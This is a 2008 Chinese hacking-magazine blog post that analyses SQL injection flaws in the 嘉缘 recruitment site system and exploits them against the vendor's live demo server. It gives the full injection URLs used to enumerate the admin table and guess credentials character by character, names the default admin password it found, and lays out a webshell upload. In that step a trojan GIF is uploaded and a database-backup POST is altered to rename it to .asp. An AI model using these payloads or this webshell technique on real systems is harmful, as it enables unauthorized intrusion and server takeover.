再战嘉缘人才系统

    [晴 February 3, 2008 13:53 | by ]
发表于《黑客手册》0802期
作者:Cool_wXd
前段日子无聊的时候简单看了看嘉缘人才系统的程序,今天在站长站上看到嘉缘人才系统有更新了,而且也说修改了以前所发现的Bug,所以便下载一套最新版的,下面来看看我对这套系统的分析吧,版本为嘉缘人才网站管理系统 v6.0.1207 精简版。
虽然简介中说补上了已知漏洞,不过在检测过程中还是发现了几个注入漏洞,下面那我们就以其中一个注入漏洞为例说说这套系统的注入漏洞,来看看person/person_sendresume.asp的代码吧。这个文件就有几处注入漏洞,我们看其中的一个吧,行147-152,如下:
resumeid=request("resumeid")
If resumeid="" Then
Response.Write ("<script language=JavaScript>{alert('错误:请选择简历!');location.href = 'javascript:history.go(-1)';}</script>")
Response.End
else
set rs=conn.execute("select * from job_p_resume where resume_pmember='"&pmember_login&"'and resume_id="&resumeid&"")

我们看到,系统在对resumeid这个变量在获取之后,只是判断了是否为空,然后便在行152处进行了SQL语句的操作!而且person_sendresume.asp也没有include相关防止SQL注入的文件,这样一个注入漏洞也就形成了!,在页面中体现的地方是发送简历的页面。下面来看看对官方演示站点的测试!首先注册并生成一份简历的过程我们就不啰嗦了,直接进入外发简历,通过源代码我们可以找到我们简历的相应resumeid的值,我这里的值是273。构造如下:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and 1=1,

返回结果如图1

Highslide JS


然后我们在提交:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and 1=2,

返回结果如图2

Highslide JS


这个漏洞也是前一个版本中存在的,而且工具检测是实现不了的,下面我们就进行相应的SQL的猜数字游戏吧,这里就不截图了,为了照顾小菜,把相关的URL给列出来,如下:
判断表段:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and exists (select count(*) from job_admin)

判断字段:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and (select count(job_user) from job_admin)>0

http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and (select count(job_pass) from job_admin)>0

猜值的SQL语句就写出一个就好了,判断job_admin中job_user的第一位
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and (select top 1 asc(mid(job_user,1,1)) from job_admin)>65

结果发现官方演示站点的后台就是默认的admin和admin888,后台如图3

Highslide JS


有了后台,看看怎么获取webshell吧!首先我们看的就是备份数据库了,我们发现备份数据中表单数据是不能修改的,我想这些应该是难不到我们的吧!看看我的操作,首先是在前台上船一个木马gif文件,然后在后台正常备份数据库抓包,修改post信息,主要修改如下:
原来数据:
(Content-Length: 117)
DBpath=%2Fdatabase%2Fjobcom.mdb&bkfolder=..%2FBackUp&bkDBname=20071216171500.mdb.bak&submit2=%B1%B8%B7%DD%CA%FD%BE%DD

修改后的:
(Content-Length: 133)
DBpath=%2FUpFiles%2FPerson%2F20071216171333.gif&bkfolder=..%2FBackUp&bkDBname=20071216171500.mdb.asp&submit2=%B1%B8%B7%DD%CA%FD%BE%DD
提交和获取的webshell 如图:

Highslide JS


Highslide JS


嘉缘这套系统在安全方面较以前的2.15版本可以说是有很很大的提高,不过还是由于程序员的小小疏忽造成了注入漏洞的形成!如果朋友们喜欢挖掘的话还可以继续深入!如果朋友们感兴趣的话可以来论坛中找我,我的ID是Cool_wXd.
Technology | Comments(0) | Trackbacks(0) | Reads(6811)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive